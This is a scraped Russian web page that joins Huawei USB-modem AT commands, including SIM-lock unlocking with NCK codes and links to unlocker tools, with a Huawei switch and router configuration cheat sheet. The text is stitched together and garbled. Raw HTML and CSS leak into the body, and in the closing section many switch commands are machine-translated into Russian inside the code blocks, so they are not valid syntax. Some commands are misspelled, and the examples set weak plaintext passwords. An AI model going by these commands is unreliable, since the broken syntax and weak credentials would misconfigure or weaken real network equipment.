Справочник команд базовой конфигурации коммутатора Huawei — Русские Блоги

At команды для модемов huawei

at commands
AT команды

(набор команд Hayes) — набор команд, разработанных в 1977 году компанией Hayes для собственной разработки, модема «Smartmodem 300 baud». Набор команд состоит из серий коротких текстовых строк, которые объединяют вместе, чтобы сформировать полные команды операций, таких как набор номера, начала соединения или изменения параметров подключения.

Для того, чтобы модем распознал at команды, они должны быть записаны в специфической форме. Каждая команда всегда начинается буквами AT или at (от англ. ATtention, за что и получили своё название), дополненных одной или больше командой и завершаемой в конце нажатием клавиши Enter . Команды воспринимаются модемом только тогда, когда он находится в «командном режиме» или offline.

AT-команды

обычно отправляются модему посредством коммуникационного программного обеспечения, но также могут быть введены пользователем вручную, с компьютерной клавиатуры. Смотрим

как и чем вводить АТ команды в модем

. At команды huawei представлены на нашем сайте ниже. Huawei at команды (huawei at commands) очень нужные и полездные вещи для расшаривания вашего устройства.

Рассмотрим наиболее часто используемые at команды при работе с модемом huawei
ATI — вывод информации о модеме
AT CFUN=1 – перезагрузка модема, очень полезная команда не требует «передергивать» модем. После перезагрузки модем перерегистрируется в сети оператора.
AT CGMI — информация о производителе модема (Recieve: huawei)
AT CGMR — информация о версии прошивки (Recieve: 11.608.12.04.21)
AT CIMI — информация об IMSI номер SIM карты (Recieve: 250015800471114)
AT CGSN — информация о IMEI модема (Recieve: 353142033840706)
AT^HWVER — информация о версии железа модема (Recieve: ^HWVER:»CD6ATCPU»)
AT CSQ — посмотреть уровень радиосигнала
AT^CMDL — получить список всех комманд
AT CGMM или AT GMM — запросить название модели
AT COPS — информация о текущем операторе (Recieve: COPS: (1,»MTS-RUS»,»MTS»,»25001″,0),(2,»MTS-RUS»,»MTS»,»25001″,2),,(0,1,2,3,4),(0,1,2))
AT^U2DIAG? — текущий режим.
AT^GETPORTMODE – список всех устройств в модеме
AT^VERSION? — информация о версии прошивки модема
AT CLAC в ответе будет список поддерживаемых команд

Включение голосовых функций модема:
AT^CVOICE=? – проверка состояния голосовых функций модема (0 — значит включено)
AT^CVOICE=0 – включение голосовых функций модема

Включение / отключение режимов 2G и 3G:
AT^SYSCFG=13,1,3fffffff,0,0 – режим только 2G
AT^SYSCFG=2,1,3fffffff,0,0 – режим предпочтительно 2G
AT^SYSCFG=14,2,3fffffff,0,1 – режим только 3G
AT^SYSCFG=2,2,3fffffff,0,1 – режим предпочтительно 3G
AT^SYSCFG=2,2,3fffff ff,0,2 – режим включение 2G и 3G

Включение / отключение режимов WCDMA, HSDPA, HSPA , HSPA:
AT^HSDPA=1 – режим HSDPA включен
AT^HSDPA=0 – режим HSDPA выключен
AT^HSUPA=1 – режим HSUPA включен
AT^HSUPA=0 – режим HSUPA выключен
AT^HSPA=0 – режим WCDMA
AT^HSPA=1 – режим HSDPA
AT^HSPA=2 – режим HSPA
AT^HSPA=3 – режим HSPA
AT^SYSCFG=13,1,3FFFFFFF,2,4 – режим только GPRS/EDGE
AT^SYSCFG=14,2,3FFFFFFF,2,4 – режим только 3G/WCDMA
AT^SYSCFG=2,1,3FFFFFFF,2,4 – режим предпочтительно GPRS/EDGE
AT^SYSCFG=2,2,3FFFFFFF,2,4 – режим предпочтительно 3G/WCDMA

Команды необходимые для разблокировки модема (разлочка модема)
AT^CARDLOCK=»NCK Code» – ввод кода снятия блокировки (8-значное число)
AT^CARDUNLOCK=»MD5 NCK Code» – сброс попыток ввода кода NCK кода разблокировки до 10 раз
AT^CARDLOCK? – проверка состояния блокировки модема и количества попыток ввода кода разблокировки:
(ответ модема: CARDLOCK: A,B,0 , если A=2 модем разблокирован, A=1 модем заблокирован – SimLock, если A=3 здесь два варианта либо вы израсходовали все 10 попыток ввести код, либо у вас в модеме кастомизированная прошивка, B – количество оставшихся попыток ввода кода разблокировки (по умолчанию 10 раз))

Изменение режима модема
AT^U2DIAG=Команда — для изменения режим модема (Модем,CD ROM, Флешка, PC UI, NDIS, Смарткарта).

AT команды для Huawei E171 с прошивкой v21.156.00.00.143, E352, E353, E367, E398 и др.
AT^SETPORT=»A1,A2,1,2,3,7,A1,A2″ (Установить конфигурацию по умолчанию)
AT^SETPORT=»A1,A2,1,2,3,7″ (девайс в режиме «модем сетевая карта»)
AT^SETPORT=»A1,A2;1,2,3,A2″ (девайс в режиме «модем Card Reader»)
AT^SETPORT=»A1,A2;1,2,3″ (девайс в режиме «только модем»)
AT^SETPORT=»A1,2,7″ (девайс в режиме «сетевая карта CD-ROM»)
AT^SETPORT=»A1,A2,2,7″ (девайс в режиме «сетевая карта») — для Windows 7
AT^SETPORT=»A1;1,2″ (девайс в режиме «модем пользовательский интерфейс»)
AT^SETPORT? (Текущая конфигурация модема)
AT^GETPORTMODE (Отображение текущего активного режима)
AT^SETPORT=»A1,A2,1,2,3,7,A1,A2,4,5,6,A,B,D,E» (Сброс настроек по умолчанию)

Настройки режимов сети по умолчанию для Huawei E352
at^hspa?
^HSPA: 2
AT^SETPORT?
A1,A2;1,2,3,7,A1,A2
AT^SYSCFG?
^SYSCFG:2,2,3FFFFFFF,1,2

Настройки режимов сети по умолчанию для Huawei E352b (21.158.23.00.209)
AT^SETPORT?
A1,A2;1,16,3,2,A1,A2

AT команды для Huawei E1750
АТ команды переключения режимов huawei E1750
AT^U2DIAG=0 (девайс в режиме только модем)
AT^U2DIAG=1 (девайс в режиме модем CD-ROM)
AT^U2DIAG=6 (девайс в режиме только сетевая карта)
AT^U2DIAG=268 для E1750 (девайс в режиме модем CD-ROM Card Reader)
AT^U2DIAG=276 для E1750 (девайс в режиме сетевой карты CD-ROM Card Reader)
AT^U2DIAG=256 (девайс в режиме модем Card Reader, можно использовать как обычную флешку,
отказавшись от установки драйверов модема)
АТ команды переключения режимов сети huawei E1750
AT^SYSCFG=14,2,3fffffff,1,2 (Только 3G)
AT^SYSCFG=13,1,3fffffff,1,2 (Только GSM)
AT^SYSCFG=2,2,3fffffff,1,2 (Приоритет 3G)

AT команды переключения режимов сети для модема Huawei E1820 (E182E)
AT^SYSCFG=13,2,3fffffff,1,2 — только GSM
AT^SYSCFG=2,1,3fffffff,1,2 — преимущественно GSM
AT^SYSCFG=14,2,3fffffff,1,2 — только WCDMA
AT^SYSCFG=2,2,3fffffff,1,2 — преимущественно WCDMA

AT команды для Huawei E3131
AT^SETPORT=»A1,A2;1,16,3,2,A1,A2″ — (Установить конфигурацию по умолчанию)
AT^SETPORT=»A1,A2;1,2,3,16,A1,A2″ — (режим для работы модема с Android 4.0 (иногда работает))
AT^SETPORT=»A1,A2;1,16,3,2″ — (девайс в режиме «модем сетевая карта»)
AT^SETPORT=»A1,A2;1,3,2,A2″ — (девайс в режиме «модем Card Reader»)
AT^SETPORT=»A1,A2;1,3,2″ — (девайс в режиме «только модем»)
AT^SETPORT=»FF;1,2″ (девайс в режиме «модем пользовательский интерфейс»)
AT^SETPORT=»A1,A2;2,16″ — (девайс в режиме «сетевая карта»)
AT^SETPORT=»A1,A2;2,16,A1″ — (девайс в режиме «сетевая карта CD-ROM»)

AT команды для Huawei E3131 Hilink
http://192.168.1.1/html/switchProjectMode.html
AT^U2DIAG=0 Перевод модема из режима Hilink в режим com портов
AT^U2DIAG=119 Возврат в исходный режим

AT команды для Huawei E303 HiLink
http://192.168.1.1/html/switchProjectMode.html
AT^U2DIAG=374 Перевод модема из режима Hilink в режим com портов
AT^U2DIAG=375 Возврат в исходный режим

AT команды для Huawei E3272
AT^SETPORT=»A1,A2;62,61,76,A1,A2″ — Установка по умолчанию для МТС 824F.
AT^SETPORT=»A1,A2;10,12,16,A1,A2″ — Установка по умолчанию для Мегафон М100-4.

AT команды для Huawei E3372
AT^SETPORT=»A1,A2;A1,A2″ — Установка по умолчанию для МТС 827F.
AT^SYSCFG=»2,2,3FFFFFFF,1,2″ — Установка по умолчанию для МТС 827F.

AT команды для Huawei E3276
AT^SETPORT=»A1;10,12,13,14,16,A1,A2″ — Включает все COM порты.
AT^SETPORT=»A1,A2;12,16,A1,A2″ — Установка по умолчанию.
AT^SETPORT=”A1;10,12” — режим только модем
AT^SYSCFGEX? — значение по умолчанию
^SYSCFGEX:»00″,3FFFFFFF,1,2,800C5
AT^SYSCFGEX=?
^SYSCFGEX: («00″,»01″,»02″,»03″),((2000000400380,»GSM900/GSM1800/WCDMA900/WCDMA2100″),(2a80000,»GSM850/GSM1900/AWS/WCDMA1900″),(3fffffff,»All bands»)),(0-2),(0-4),((800c5,»LTE_B1/LTE_B3/LTE_B7/LTE_B8/LTE_B20″),(7fffffffffffffff,»All bands»))
AT^FHVER — показывает информацию о версии прошивки и версии железа (^FHVER:»E3276s-210 21.260.05.00.143,CH2E3276SM Ver.B»)

AT команды для Huawei E3531
AT^SETPORT=»A1,A2;1,16,3,2,A1,A2″ — Установка по умолчанию для МТС 423S.
AT^FHVER — — показывает информацию о версии прошивки и версии железа (^FHVER:»E3531s-1EA 21.318.15.00.143,CH1E3531SM Ver.A»)

AT команды для преключения режимов в модемах huawei с LTE (E392, E398)
Если для USB-модема вы хотите включить режим только LTE, отключив все остальные, необходимо воспользоваться AT командой:
AT^SYSCFGEX=»03″,3fffffff,2,4,7fffffffffffffff,,
В указанной команде первое значение расшифровывается так:
00 — Автоматический режим, установлен по умолчанию (приоритеты в порядке очереди: 4G > 3G > 2G)
01 — GSM GPRS(2G)
02 — WCDMA(3G)
03[/b] — LTE(4G)
[b]99
— Оставить текущие настройки без изменений.

Вы можете также выбрать порядок их приоритета, в порядке убывания, например:
AT^SYSCFGEX=»0302″,3fffffff,2,4,7fffffffffffffff,,
В этом случае модем будет пытаться подключиться сначала к сети LTE и потом к сети 3G, кроме работы в сетях 2G.
или такой вариант:
AT^SYSCFGEX=»030201″,3fffffff,2,4,7fffffffffffffff,,
это равносильно
AT^SYSCFGEX=»00″,3fffffff,2,4,7fffffffffffffff,,
Соответственно автоматический режим, установлен по умолчанию (приоритеты в порядке очереди: 4G > 3G > 2G)

§

AT команда

служит для управления некоторыми функциями модема. Команды можно вводить специальными программами, это намного проще чем встроенным в Windows XP hyperterminal. Для этого можно использовать программы:

My Huawei Terminal

или

DC-Unlocker.

Перед использованием данных программ нужно закрыть все другие программы которые могут использовать модем. Для модемов Huawei нужно подключаться на COM порт «

3G PC UI Interface

«, для модемов

ZTE MF

на

COM порт

«

ZTE Proprietary USB Modem

«. Как пользоваться смотрим картинки, всё достаточно просто. Если команд несколько, сначала вводим одну — жмём

Enter

, потом следующую и опять жмём

Enter.

DC-Unlocker

DC-Unlocker client первая в Мире программа которая начала специализироваться на разблокировке беспроводных 2G3G4G модемов форм-фактора USBPCMCIA. Со временем модельный ряд начал расширятся мобильными телефонами, смартфонами, WiFi роутерами .
AT^CARDLOCK=»NCK Code» – ввод кода снятия блокировки (8-значное число). NCK Code — это код разблокировки. Пример команды AT^CARDLOCK=»12345678″

Больше про Хуавей:  Console Guide: Базовая настройка коммутаторов и маршрутизаторов Huawei

СкачатьВерсия программы 1.00.1336
Новые версииздесь

Терминал

Терминал — программа терминала для прямой работы с беспроводными модемами Huawei, а также (ограниченно) с любыми другими модемами.

Скачать: Терминал

My Huawei Terminal (Хуавей модем терминал)

Huawei Terminal — программа терминала для прямой работы с беспроводными модемами Huawei, а также (ограниченно) с любыми другими модемами.

Скачать: My Huawei Terminal

PuTTY

Скачать: PuTTY

MMD X Mini Mobile Data

Так же в этой программе можно посмотреть другие параметры модема.

Скачать: MMD X Mini Mobile Data

Ввод NCK кода разблокировки если модем не запрашивает.

Скачиваем программу Huawei Modem Tool v3.3, вставляем модем БЕЗ СИМ карты — если запуститься программа модема то закрываем, запускаем huawei modem tool и ждём пока определиться модем, вводим код разблокировки и нажимаем Send Unlock code. После этого модем разблокируется.

Смотрим картинку там всё подробно нарисовано.

Скачать: Huawei Modem Tool v3.3

Внимание: После ввода команды, во всех трёх программах должен быть ответ ОК. Это значит что команда была принята.

Huawei data card unlocker v1.1

Программа предназначена для разблокировки модемов Huawei E220, E62X, E630, E870, E169G, E27X, E618, E630

Скачать: Huawei data card unlocker v1.1

Список доступных at команды модема Huawei и ZTE MF смотрим здесь: AT команды для модемов Huawei и для ZTE MF

Базовая настройка коммутаторов и маршрутизаторов huawei

Basic

вход в режим конфигурирования

system view

вернуться на уровень назад
quit

команда отрицания (аналогично no в cisco)

undo

настройка пароля доступа по консольному порту 

user-interface console 0

authentication-mode password

set 

authentication password cipher …

настройка пароля доступа через виртуальный терминал

VLAN Principles

создание

vlan batch

interface

port link-type access

port 

access default vlan …

interface

port link-type trunk

port trunk allow-pass vlan

port link-type hybrid

port hybrid untagged vlan …

port hybrid tagged vlan …

port hybrid pvid vlan …

создание L3 интерфейса

interface Vlanif  

ip address

Link Aggregation


L2 LAG

interface Eth-trunk 1 — создали LAG группу


interface

eth-trunk 1 -забиндили интерфейс

interface

eth-trunk 1 -забиндили интерфейс

L3 LAG

interface Eth-trunk 1 — создали LAG группу

// переход  интерфейса к L3

undo portswitch 

ip address 

interface

eth-trunk 1 -забиндили интерфейс

interface

eth-trunk 1 -забиндили интерфейс

LACP(link aggregation control protocol)

system-view

lacp priority … (The smaller the LACP system priority value, the higher the LACP system priority.)

int Eth-trunk 1 — создали LAG группу

mode lacp-static -выбрали режим

lacp preference … (The smaller the LACP interface priority value, the higher the LACP interface priority)

STP

выбор стандарта

stp mode stp

активируется глобально и на интерфейсе 

stp enable 

вручную указываем корень в топологии

stp root primary

stp root secondary

вручную указываем bridge priority

stp priority 32768

на интерфейсе

stp disable

stp port priority …

display stp brief

display stp instance 0 brief

RSTP

выбор стандарта

stp mode rstp

выключает edge порт при получении bpdu

stp bpdu-protection 

на интерфейсе:

stp root-protection (включается на портах корневого коммутатора, при получении лучшего bpdu порт переходит в состояние root-inconsistent — несогласованность корня)

используется на клиентских портах

stp edged-port enable

stp bpdu-filter enable (не отправляет и не принимает bpdu)

stp loop-protection (технология защиты от петель в моменты реконвергенции stp. если порт перестает получать bpdu он не переходит в состояние forwarding, а переходит в состояние loop-inconsistent)

MSTP

stp mode mstp

stp region-configuration

region-name parapampam

instance 1 vlan 2 to 10

instance 1 vlan 11 to 20

active region-configuration

display stp region-configuration

Static routing

создаем статический маршрут

ip route-static ipaddress { mask | mask-length } interface-type interface-number [ nexthopaddress ] preference …

создаем маршрут по умолчанию

ip route-static 0.0.0.0 0.0.0.0 nexthopaddress

RIP

basic:

rip 1

version 2 (по умолчанию version 1)

network 10.0.0.0

анонс маршрута по умолчанию через rip

default-route originate

выключаем автоматическую суммаризацию маршрутов

undo summary

суммаризация маршрутов на интерфейсе

int g0/0/0

rip summary-address 172.16.0.0 255.255.0.0.

debug

debugging rip 1,

disp debugging

terminal debugging

undo debugging rip 1 or undo debugging all !!!

RIP Metric

int g0/0/0

устанавливает cost на порту для входящих маршрутов

rip metricin 

устанавливает cost на порту для исходящих маршрутов

rip metricout 

rip poison-reverse

rip split horizon

Ограничение распространения маршрутной информации

int g0/0/0

undo rip output

undo rip input

интерфейс не передает маршрутную информацию, но принимает и заносит в routing table маршруты

rip 1

silent int g0/0/0 — 

Authentification

int g0/0/0

rip authentification-mode simple ….

int g0/0/1

rip authentification-mode md5 usual ….

display

display rip interface verbose

display rip 1 neighbor

OSPF

можно и без указания id. id учитывается при выборах DR, выбирается по наибольшему адресу

ospf 1 router-id 1.1.1.1 

area 0

network ip address wildcard-mask

меняем расчет метрики

ospf 1

bandwidth-reference 10000

меняем cost, таймеры, dr-priority 

int g0/0/0

ospf cost 20

ospf timer hello …

ospf timer dead …

ospf dr-priority …

Authentification OSPF

Simple authentication:

ospf authentication-mode { simple [ [ plain ]

| cipher <cipher-text>] | null } </cipher-text></plaintext></span></p><div><p><span><span>Cryptographic authentication:</span></span></p><p><span>ospf authentication-mode {md5 | hmac-md5 } [ key-id { plain <plain-text>| [ cipher ] <cipher-text>} ].</cipher-text></plain-text></span></p><p><span><span><span>Выключаем OSPF на порту (restrict OSPF operation)</span></span></span></p><p><span>ospf 1</span></p><p><span>silent-int g0/0/0</span></p></div><p><span><span><span>Объявление маршрута последней надежды через OSPF</span></span></span></p><div><p><span>ip route-static 0.0.0.0 0.0.0.0 loopback 0</span></p><p><span>ospf 1</span></p><p><span>default-route-advertise</span></p></div><p><span><span><span>display</span></span></span></p><div><p><span>disp ospf peer (показывает очень полезную информацию: area, интерфейс и адрес интерфейса, статус соседства, рутер id, master or slave)</span></p><p><span>disp ospf peer brief</span></p><p><span>disp ospf 1 int g0/0/0</span></p></div><p><span>VRRP</span></p><p><span><span><span>На ip интерфейсе</span></span></span></p><div><p><span>vrrp vrid 20 virtual-ip 10.74.10.17</span></p><p><span>vrrp vrid 20 priority 50</span></p></div><p><span>Интерфейс с наибольшим значением priority выбирается в качестве Master (default priority 100).</span></p><p><span><span>Установка задержки обратного переключению с backup на master</span></span></p><p><span>vrrp vrid 1 preempt-mode timer delay 20</span></p><p><span><span><span>При падении интерфейса<br>GigabitEthernet1/0/0 vrrp приоритет интерфейса g0/0/0 уменьшается на 40</span></span></span></p><p><span><span>int g0/0/0</span></span></p><p><span>vrrp vrid 1 track interface GigabitEthernet1/0/0 reduced 40<br></span></p><p><span>VRP Basic and Operation, file system</span></p><p><span><span><span>Работа с файловой системой</span></span></span></p><p><span><span>Для создания директории</span></span></p><p><span>mkdir <br></span></p><p><span><span>Для удаления директории</span></span></p><p><span>rmdir <br></span></p><p><span><span>Для удаления и переименование файла</span></span></p><p><span>delete <br></span></p><p><span>rename <br></span></p><p><span><span>Для удаления файла без возможности восстановления</span></span></p><p><span>delete /unreserved <br></span></p><p><span><span>Для восстановления файла</span></span></p><p><span>undelete <br></span></p><p><span><span>Для очистки «корзины»</span></span></p><p><span>reset recycle-bin<br></span></p><p><span><span>Удаление файла с конфигурацией</span></span></p><p><span>delete <br></span></p><p><span><span>Сброс сохранненой конфигурации</span></span></p><p><span>reset saved-configuration</span></p><p><span><span><span>Узнать версию софта</span></span></span></p><p><span>display version<br></span></p><p><span>display device slot</span></p><p><span><span><span>Работа с ftp</span></span></span></p><p><span><span>Подключиться по ftp</span></span></p><p><span>ftp x.x.x.x</span></p><p><span><span>скачать файл</span></span></p><p><span>get example.zip</span></p><p><span><span>Подключиться по tftp</span></span></p><p><span>tftp x.x.x.x get example.zip</span></p><p><span><span>Указываем файл </span><span>startup config</span></span></p><p><span>startup system-software example.zip</span></p><p><span>HDLC</span></p><div><p><span>int s2/0/0</span></p><p><span>link-protocol hdlc</span></p></div><p><span>ip address x x x x xx</span></p><p><span><span>привязываем адрес loopback</span></span></p><div><p><span>ip unnambered int loopback 0</span></p><p><span>PPP</span></p></div><p><span><span><span>Настройка ppp c </span><span>authentication-mode pap</span></span></span></p><p><span>R1</span></p><p><span>sysname BRAS</span></p><p><span>R2</span></p><p><span>sysname pap_client</span></p><p><span><span><span><span><span>Настройка ppp c </span></span></span><span>authentication-mode </span><span>chap</span></span></span></p><p><span>R1</span></p><p><span>sysname BRAS</span></p><div><p><span>link-protocol ppp</span></p><p><span>ppp authentication-mode chap<br></span></p></div><p><span>R2</span></p><p><span>sysname chap_client</span></p><p><span>int s1/0/0</span></p><p><span>PPPoE</span></p><p><span>display pppoe-server session all<br></span></p><p><span>sysname BRAS<br></span></p><p><span>int dialer 1<br></span></p><p><span>display nat server</span></p><p><span>diplay nat outbound </span></p><p><span>diplay nat address-group 1</span></p><div><p><span><br></span><span>DHCP</span></p><p><span><span><span>interface pool configuration</span></span></span></p><p><span>dhcp enable<br></span></p><p><span>int g0/0/0<br></span></p><p><span>dhcp select interface<br></span></p><p><span>dhcp server dns-list x.x.x.x<br></span></p><p><span>dhcp server excluded-ip-address x.x.x.x<br></span></p><p><span>dhcp server lease day x<br></span></p><p><span><span><span>global pool configuration</span></span></span></p><p><span>dhcp enable<br></span></p><p><span>ip pool pool1<br></span></p><p><span>network x.x.x.x mask xx<br></span></p><p><span>gateway-list x.x.x.x<br></span></p><p><span>lease day x<br></span></p><p><span>int g0/0/1<br></span></p></div><div><p><span>dhcp select global</span></p><p><span><span><span>dhcp relay</span></span></span></p></div><p><span>sysname dhcp server</span></p><p><span>dhcp enable<br></span></p><p><span>ip pool pool1<br></span></p><p><span>gateway-list 192.168.1.1<br></span></p><p><span>network 192.168.1.0 mask 255.255.255.0<br></span></p><p><span>interface GigabitEthernet0/0/0<br></span></p><p><span>ip address 10.10.10.1 255.255.255.252<br></span></p><p><span>dhcp select global<br></span></p><div><p><span>sysname dhcp relay</span></p><p><span>dhcp enable<br></span></p><p><span>dhcp server group 123<br></span></p><p><span>dhcp-server 10.10.10.1 0<br></span></p><p><span>interface GigabitEthernet0/0/1<br></span></p><p><span>ip address 192.168.1.1 255.255.255.0<br></span></p><p><span>dhcp select relay<br></span></p><p><span>dhcp relay server-select 123<br></span></p></div><p><span>ACL</span></p><p><span><span><span>basic</span></span></span></p><div><p><span>acl 2000<br></span></p><p><span>rule deny source x.x.x.x wildcard mask<br></span></p><p><span>rule permit source x.x.x.x wildcard mask<br></span></p><p><span>int g0/0/0<br></span></p><p><span>traffic-filter outbound acl 2000<br></span></p><p><span><span><span>advanced</span></span></span></p><p><span>acl 3000<br></span></p><p><span>rule deny tcp source x.x.x.x wildcard mask destination x.x.x.x wildcard mask destination-port eq 21<br></span></p><p><span>rule permit source x.x.x.x wildcard mask<br></span></p><p><span>int g0/0/0<br></span></p><p><span>traffic-filter inbound acl 3000<br></span></p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://huaweidevices.ru/novosti/sagomer-uaeionor-kak-vklyucit-vyklyucit-ustanovit-i-nastroit-na-smartfone" target="_blank" rel="nofollow" class="uaef4bffea25b37d61b66b8913abdbab4"><style>.uaef4bffea25b37d61b66b8913abdbab4 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#ECF0F1; border:0!important; border-left:4px solid #E74C3C!important; text-decoration:none; } .uaef4bffea25b37d61b66b8913abdbab4:active, .uaef4bffea25b37d61b66b8913abdbab4:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .uaef4bffea25b37d61b66b8913abdbab4 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .uaef4bffea25b37d61b66b8913abdbab4 .ctaText { font-weight:bold; color:#2980B9; text-decoration:none; font-size: 16px; } .uaef4bffea25b37d61b66b8913abdbab4 .postTitle { color:#C0392B; text-decoration: underline!important; font-size: 16px; } .uaef4bffea25b37d61b66b8913abdbab4:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Больше про Хуавей:</span>&nbsp; <span class="postTitle">Шагомер Huawei/Honor: как включить, выключить, установить и настроить на смартфоне</span></div></a></div><p><span><span><span>acl aplication nat</span></span></span></p><p><span>nat address-group 1 x.x.x.x y.y.y.y<br></span></p><p><span>acl 2000<br></span></p><p><span>rule permit source z.z.z.z wildcard mask<br></span></p><p><span>int g0/0/0<br></span></p><p><span>nat outbound 2000 address-group 1<br></span></p></div><p><span>AAA</span></p><p><span>настраиваем способ аутентификации</span></p><p><span>user-interface vty 0 4</span></p><p><span>authentication-mode aaa</span></p><p><span>aaa</span></p><p><span><span>создаем схему авторизации</span></span></p><p><span>authorization-scheme auth1 </span></p><p><span><span>схема без сервера: radius…</span></span></p><p><span>authorization-mode local </span></p><p><span><span>создаем схему аутентификации</span></span></p><p><span>authentication-scheme auth2</span></p><p><span><span>схема без сервера: radius,diametr…</span></span></p><p><span>authentication-mode local </span></p><p><span><span>создаем домен и привязываем схемы аутентификации и авторизации</span></span></p><p><span>domain huawei</span></p><p><span>authentication-scheme auth2</span></p><p><span>authorization-scheme auth1</span></p><p><span><span>создаем пользователя в домене и указываем достпные сервисы и привилегии</span></span></p><p><span>local-user user1@huawei password cipher qwerty</span></p><p><span>local-user user1@huawei service-type telnet</span></p><p><span><span>Если оставить только telnet, то по консольному кабелю не будет доступа </span><span>в случае аутентификации по AAA</span></span></p><p><span>user-int con 0</span></p><p><span>authentication aaa</span></p><p><span>local-user user1@huawei privilege level 0</span></p><p><span>display domain name huawei</span></p></div></div><h2><span id="__huawei">Сводка команд настройки коммутатора huawei – русские блоги</span></h2><div ><div class="htmledit_views"><p>1. Команды, относящиеся к файлу конфигурации</p><pre class="has">&lt;code&gt;[Quidway] display current-configuration Показать текущую действующую конфигурацию [Quidway] display saved-configuration Отображает файл конфигурации во флэш-памяти, то есть файл конфигурации, используемый при следующем включении. сбросить сохраненную конфигурацию Удалить старый файл конфигурации перезагрузка Переключить перезагрузку отображать версию Отображать информацию о версии системы&lt;/code&gt;</pre><p>2. Базовая конфигурация</p><pre class="has">&lt;code&gt;[Quidway] супер пароль изменить пароль привилегированного пользователя [Quidway] sysname Имя коммутатора [Quidway] interface ethernet 1/0/1 Откройте вид интерфейса [Quidway] interface vlan 1 Вход в вид интерфейса [Quidway-Vlan-interfacex] IP-адрес 10.1.1.11 255.255.0.0 Настройте IP-адрес VLAN [Quidway] ip route-static 0.0.0.0 0.0.0.0 10.1.1.1 Статический маршрут = шлюз&lt;/code&gt;</pre><p>3. Конфигурация Telnet</p><pre class="has">&lt;code&gt;[Quidway] пользовательский интерфейс vty 0 4 Вход в виртуальный терминал [S3026-ui-vty0-4] пароль режима аутентификации Установить режим пароля [S3026-ui-vty0-4] установить пароль режима аутентификации простой xmws123 установить пароль [S3026-ui-vty0-4] уровень прав пользователя 3 уровень пользователя&lt;/code&gt;</pre><p>4. Конфигурация порта</p><pre class="has">&lt;code&gt;[Quidway-Ethernet1 / 0/1] дуплекс {half | full | auto} настраивает рабочий статус порта [Quidway-Ethernet1 / 0/1] speed {10 | 100 | auto} Настроить скорость работы порта. [Quidway-Ethernet1 / 0/1] flow-control Настроить управление потоком порта [Quidway-Ethernet1 / 0/1] mdi {через | авто | нормальный} поворот плоского соединения порта конфигурации [Quidway-Ethernet1 / 0/1] port link-type {trunk | access | hybrid} Установите режим работы порта [Quidway-Ethernet1 / 0/1] отменить выключение активировать порт [Quidway-Ethernet1 / 0/2] выйти Выйти из режима просмотра системы&lt;/code&gt;</pre><p>5. Конфигурация агрегирования ссылок.</p><pre class="has">&lt;code&gt;[DeviceA] ручной режим группы агрегации каналов 1 Создать группу агрегации 1 вручную [Qw_A] interface ethernet 1/0/1 Добавить порт Ethernet Ethernet1 / 0/1 в группу агрегации 1 [Qw_A-Ethernet1/0/1] port link-aggregation group 1 [Qw_A-Ethernet1 / 0/1] interface ethernet 1/0/2 Добавить порт Ethernet Ethernet1 / 0/1 в группу агрегации 1 [Qw_A-Ethernet1/0/2] port link-aggregation group 1 [Qw_A] Туннель типа службы 1 группы агрегации каналов # Создать группу кольцевой проверки службы туннеля на основе группы агрегации вручную. [Qw_A] interface ethernet 1/0/1 Добавьте порт Ethernet Ethernet1 / 0/1 в сервисную группу обратной связи. [Qw_A-Ethernet1/0/1] undo stp [Qw_A-Ethernet1/0/1] port link-aggregation group 1&lt;/code&gt;</pre><p>6. Зеркалирование портов</p><pre class="has">&lt;code&gt;[Quidway] monitor-port указать порт зеркала [Quidway] port mirror Укажите порт для зеркалирования. [Quidway] порт-зеркало int_list наблюдающий порт int_type int_num Укажите зеркало и будет зеркалироваться&lt;/code&gt;</pre><p>7. Конфигурация VLAN.</p><pre class="has">&lt;code&gt;[Quidway] vlan 4 Создать VLAN [Quidway-vlan4] порт Ethernet 1/0/1 до Ethernet 1/0/4 добавить порт в VLAN&lt;/code&gt;</pre><p>① Настроить VLAN на основе доступа</p><pre class="has">&lt;code&gt;[Quidway-Ethernet1 / 0/2] доступ к порту vlan 4 Текущий порт добавлен в VLAN Примечание. По умолчанию тип канала порта - Тип доступа, и все порты доступа принадлежат и только принадлежат к VLAN1.&lt;/code&gt;</pre><p>② Настроить VLAN на основе магистрали</p><pre class="has">&lt;code&gt;[Quidway-Ethernet 1/0/24] port link-type trunk Установите текущий порт в качестве транкового. [Quidway-Ethernet 1/0/24] port trunk разрешить vlan {ID | All} установить VLAN, разрешенную транком Примечание. По умолчанию все порты разрешают прохождение пакетов VLAN1. [Quidway-Ethernet1 / 0/2] port trunk pvid vlan 34 устанавливает PVID транкового порта&lt;/code&gt;</pre><p>③ Настроить VLAN на основе гибридного порта</p><pre class="has">&lt;code&gt;[Quidway-Ethernet1 / 0/2] порт гибридного типа канала. Настройте тип канала порта как гибридный. [Quidway-Ethernet1 / 0/2] port hybrid vlan vlan-id-list {tagged | untagged} Разрешить указанной VLAN проходить через текущий гибридный порт Примечание. По умолчанию все гибридные порты позволяют проходить только VLAN1. [Quidway-Ethernet1 / 0/2] port hybrid pvid vlan vlan-id Установите VLAN по умолчанию для гибридного порта. Примечание. По умолчанию VLAN гибридного порта по умолчанию - VLAN1.&lt;/code&gt;</pre><p>④ Описание VLAN</p><pre class="has">&lt;code&gt;[Quidway] description string Укажите символ описания VLAN. [Quidway] отменить описание удалить символ описания VLAN [Quidway] display vlan [vlan_id] Просмотр настроек VLAN&lt;/code&gt;</pre><p>⑤ Конфигурация частной VLAN</p><pre class="has">&lt;code&gt;[Qw_A-vlanx] isolate-user-vlan enable установить основной vlan [Qw_A] Isolate-user-vlan secondary - установить дополнительный vlan, включенный в основной vlan. [Quidway-Ethernet1 / 0/2] порт гибридный pvid vlan set vlan pvid [Quidway-Ethernet1 / 0/2] гибридный pvid порта удалить pvid vlan [Quidway-Ethernet1 / 0/2] порт гибридный vlan vlan_id_list без тегов Установить неопознанный vlan Если идентификатор vlan пакета совпадает с PVId, удалите информацию о vlan.По умолчанию PVID = 1. Поэтому установите PVID равным идентификатору VLAN владельца и установите для взаимодействующей VLAN непомеченную.&lt;/code&gt;</pre><p>8. Конфигурация STP.</p><pre class="has">&lt;code&gt;[Quidway] 